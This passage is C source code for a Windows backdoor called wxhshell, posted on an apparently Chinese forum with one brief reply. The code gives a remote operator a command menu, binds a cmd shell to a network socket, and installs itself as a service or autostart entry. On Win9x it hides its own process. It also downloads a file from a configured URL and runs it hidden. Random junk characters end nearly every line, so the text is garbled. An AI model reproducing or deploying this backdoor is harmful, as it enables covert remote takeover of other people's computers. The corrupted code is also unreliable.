  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B^Sxp=~Au  
  if(DownloadFile(cmd,wsh)) Gk:tT1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5<U:Yy  
  else 4N6JKS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eF-U 1ZJT  
  } tE'^O< K  
  else { #mKF)W  
sbv2*fno5  
    switch(cmd[0]) { OFe-e(c1  
  @*e5(@R  
  // 帮助 =$mPReA3v  
  case '?': { <qGxkV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Fz11/sKz  
    break; qofD@\-  
  } J4?i\wD:  
  // 安装 Ls<^z@I  
  case 'i': { \!LIqqX  
    if(Install()) /U26IbJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )iX2r{  
    else 6}l[%8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s!<RWy+  
    break; z@I'Ryalyc  
    } tNoPpIu  
  // 卸载 CiWz>HWH  
  case 'r': { L:j3  
    if(Uninstall()) d! {]CZ"@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %(&$CmS@  
    else CKI.\o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uM)#T*(  
    break; =j~BAS*"  
    } 5(5:5q.A/D  
  // 显示 wxhshell 所在路径 2nf<RE>  
  case 'p': { IJ]rVty  
    char svExeFile[MAX_PATH]; U7#C.Z  
    strcpy(svExeFile,"\n\r"); Gr-~&pm  
      strcat(svExeFile,ExeFile); ,I6li7V  
        send(wsh,svExeFile,strlen(svExeFile),0); ^XX_ qC'1  
    break; :%_\!FvS  
    } w**~k]In  
  // 重启 3D;?X@  
  case 'b': { t)|~8xpP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <@Z`<T6  
    if(Boot(REBOOT)) R1$s1@3I|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %@9c'6  
    else { UpaF>,kM  
    closesocket(wsh); 71n3d~!O>  
    ExitThread(0); qCkC 2Fy(  
    } v]Fw~Y7l!  
    break; "%}24t%  
    } >{S ~(KxK  
  // 关机 @r&*Qsf|   
  case 'd': { !He_f-eZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j"hNkCF  
    if(Boot(SHUTDOWN)) dBw7l}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dd=ca0c7e  
    else { =(+]ee!Ti  
    closesocket(wsh); 8Kw, 1O:  
    ExitThread(0); !\VzX  
    } x(n|zp ("  
    break; v%rmfIU  
    } |'Z+`HI  
  // 获取shell d.|*sZ&3p  
  case 's': { e%s1D  
    CmdShell(wsh); AL!ppi  
    closesocket(wsh); sZI"2[bk  
    ExitThread(0); 'ZJb`  
    break; EXMW,  
  } !9.k%B:  
  // 退出 QJ&]4*>a  
  case 'x': { !YPwql(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7Kf  
    CloseIt(wsh); :w q][0)  
    break; oam$9 q  
    } <Drm#2x!E  
  // 离开 yg.o?eML  
  case 'q': { uK] -m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5dGfO:Dy_  
    closesocket(wsh); 9wlp AK  
    WSACleanup(); -T}r$A  
    exit(1); 15@2h  
    break; %~I&T". iC  
        } |8pSMgN  
  } denxcDFu/~  
  } {#st>%i  
jzJQ/ZFS  
  // 提示信息 Gphy8~eS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n }b{u@$  
} XV/7K "  
  } _aYhW{wW  
#W6 6`{>  
  return; uH?dy55 Y  
} idB1%?<  
oi m7=I0  
// shell模块句柄 -:95ypi  
int CmdShell(SOCKET sock) j!@T@ 8J  
{ ~/X8Hy!-  
STARTUPINFO si; vf zC2  
ZeroMemory(&si,sizeof(si)); j,Mbl"P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [[HCP8Wk   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B{b?j*fHJ  
PROCESS_INFORMATION ProcessInfo; O:sqm n  
char cmdline[]="cmd"; ] )iP?2{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cRH(@b Xr  
  return 0; wo+`WnDh  
} z . Z  
Mq#m;v$E  
// 自身启动模式 @  R[K8  
int StartFromService(void) `*cqT  
{ j85B{Mab&  
typedef struct FShUw+y  
{ A@Q6}ESD  
  DWORD ExitStatus; Td,d9M  
  DWORD PebBaseAddress; 4qQE9f xdY  
  DWORD AffinityMask; "b402"&  
  DWORD BasePriority; +.&P$`;TZj  
  ULONG UniqueProcessId; *xJ]e.  
  ULONG InheritedFromUniqueProcessId; `v@Z|rv,  
}   PROCESS_BASIC_INFORMATION; X&HYWH'@,  
- . o,bg  
PROCNTQSIP NtQueryInformationProcess; Fm=jgt3wv8  
ia3Q1 9r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :1Nc6G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %3*|Su%uC  
\?oT.z5VG&  
  HANDLE             hProcess; z Ohv>a  
  PROCESS_BASIC_INFORMATION pbi;  71@kIJI  
w>8HS+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c0Bqm  
  if(NULL == hInst ) return 0; 2<9K}Of  
z{&Av  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZJW8S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uB^"A ;0v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %19~9Tw  
 pdm(7^  
  if (!NtQueryInformationProcess) return 0; ,}\LC;31,  
^SsdM#E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tH&eKM4G  
  if(!hProcess) return 0; [<5/s$,i  
yZ 7)|j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b1>]?.  
.rG~\Ws  
  CloseHandle(hProcess); w_o+;B|I  
oexTz[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YhNrg?nS  
if(hProcess==NULL) return 0; 45n.%*,  
)5n0P Zi  
HMODULE hMod; \9@}0}%`  
char procName[255]; }cI-]|)|2  
unsigned long cbNeeded; vs$h&o>|  
X31%T"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R<gAxO%8  
y9?*H?f,  
  CloseHandle(hProcess); Go1xyd:k  
R<_VWPlj  
if(strstr(procName,"services")) return 1; // 以服务启动 2q]ZI  
c7{s'ifG  
  return 0; // 注册表启动 ovOV&Zt  
} QVRQUd  
#'O9Hn({  
// 主模块 /k ?l%AH  
int StartWxhshell(LPSTR lpCmdLine)  H{yBD xw  
{ "!(@MfjT  
  SOCKET wsl; lz6CK  
BOOL val=TRUE; n|?sNM<J3  
  int port=0; x0>N{ADXQ  
  struct sockaddr_in door; -fV\JJ  
%z.V$2  
  if(wscfg.ws_autoins) Install(); ygV_"=+|N  
w)* H&8h@  
port=atoi(lpCmdLine); :CezkD&  
Z2@e~&L  
if(port<=0) port=wscfg.ws_port; fd #QCs  
xjF>AAM_Px  
  WSADATA data; g]JRAM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8RuW[T?  
TghT{h@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X^dasU{*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0sA`})Dk  
  door.sin_family = AF_INET; E+EcXf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l%('5oz@\  
  door.sin_port = htons(port); \1&4wzT  
k&:q|[N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @aN~97 H\  
closesocket(wsl); F'>yBDm*OM  
return 1; %).I &)i  
} AX&Emz-  
#g@4c3um|  
  if(listen(wsl,2) == INVALID_SOCKET) { >TM{2b,(p  
closesocket(wsl); [O'aka Q  
return 1; >Ik%_:CC`  
} _-H,S)kI`  
  Wxhshell(wsl); Vt \g9-[  
  WSACleanup(); =jh^mD&'  
9{ge U9&Z  
return 0; nh0gT>a>@  
<+r~?X_  
} p5OoDo  
`Ix`/k}  
// 以NT服务方式启动 K@DFu5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'AWWdz  
{ i;/;zG^=_  
DWORD   status = 0; }eA ) m  
  DWORD   specificError = 0xfffffff; UroC8Tm  
2"|7 YI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #@w/S:KbJt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 82+2 PE{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'LuxF1>  
  serviceStatus.dwWin32ExitCode     = 0; _a9oHg  
  serviceStatus.dwServiceSpecificExitCode = 0; %-$ :/ N  
  serviceStatus.dwCheckPoint       = 0; nv+miyvvm  
  serviceStatus.dwWaitHint       = 0; 9@lG{9id?  
nj00g>:>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b?cO+PY01  
  if (hServiceStatusHandle==0) return; M6quPj  
I(kEvfxc"  
status = GetLastError(); 8-H:5E 4Y  
  if (status!=NO_ERROR) oxeIh9 E  
{ gBWr)R  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =Ez@kTvOs  
    serviceStatus.dwCheckPoint       = 0; W5Jy"]^I  
    serviceStatus.dwWaitHint       = 0; [>_zV.X  
    serviceStatus.dwWin32ExitCode     = status; 9bRUN<  
    serviceStatus.dwServiceSpecificExitCode = specificError; /*e<r6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6{udNv X  
    return; nLwfPj  
  } vg3iT }  
hT_Q_1,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |"KdW#.x  
  serviceStatus.dwCheckPoint       = 0; a(|0 '^  
  serviceStatus.dwWaitHint       = 0; ;XyryCo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DzA'MX  
} htrtiJ1  
eJn_gKWb  
// 处理NT服务事件,比如:启动、停止 K?e16;   
VOID WINAPI NTServiceHandler(DWORD fdwControl) [~cz| C#  
{ e2tru_#  
switch(fdwControl) ?IS[2 v$   
{ 3LJ\y  
case SERVICE_CONTROL_STOP: ?G7*^y&Q  
  serviceStatus.dwWin32ExitCode = 0; @c"s6h&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c;(Fz^&_  
  serviceStatus.dwCheckPoint   = 0; $%ND5uK  
  serviceStatus.dwWaitHint     = 0; vA Z kT"  
  { @].!}tz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \ kY:|T  
  } z{PPPFk4J  
  return; *81/q8Az  
case SERVICE_CONTROL_PAUSE: sK9RViqF\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *wX[zO+o  
  break; [AIqKyIr  
case SERVICE_CONTROL_CONTINUE: 9m_~Zs}Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nQ|($V1?W  
  break; Y`$\o  
case SERVICE_CONTROL_INTERROGATE: LfU? 1:Du  
  break; xe(7q1   
}; %[~g84@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hMvJNI6O  
} kEAF1RP:  
r~7}w4U  
// 标准应用程序主函数 yA*U^:%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c68y\  
{ 5A 5t  
 @e\ @EW  
// 获取操作系统版本 _\,lv \u  
OsIsNt=GetOsVer(); [h&s<<# D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c=?6`m,"M  
i| ,}y`C#  
  // 从命令行安装 vF~q".imC  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4s'%BM-r-  
5{iNR4sq  
  // 下载执行文件 /[/{m]  
if(wscfg.ws_downexe) { <"3${'$k`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lx2%=5+i;  
  WinExec(wscfg.ws_filenam,SW_HIDE); /CKnXU;  
} U1fqs{>  
CK|AXz+EN  
if(!OsIsNt) { 5&_")k3$*  
// 如果时win9x,隐藏进程并且设置为注册表启动 #cW :04  
HideProc(); xX{Zh;M&[  
StartWxhshell(lpCmdLine); ]mNsG0r6  
} Oi$1maxT  
else m!^$_d\%~  
  if(StartFromService()) Uugq.'>  
  // 以服务方式启动 R^$EnrY(<  
  StartServiceCtrlDispatcher(DispatchTable); =b1 y*?  
else X&rsWk  
  // 普通方式启动 ySDo(EI4  
  StartWxhshell(lpCmdLine); N'l2$8  
(]&B' 1b  
return 0; 9H:J&'Xi7  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五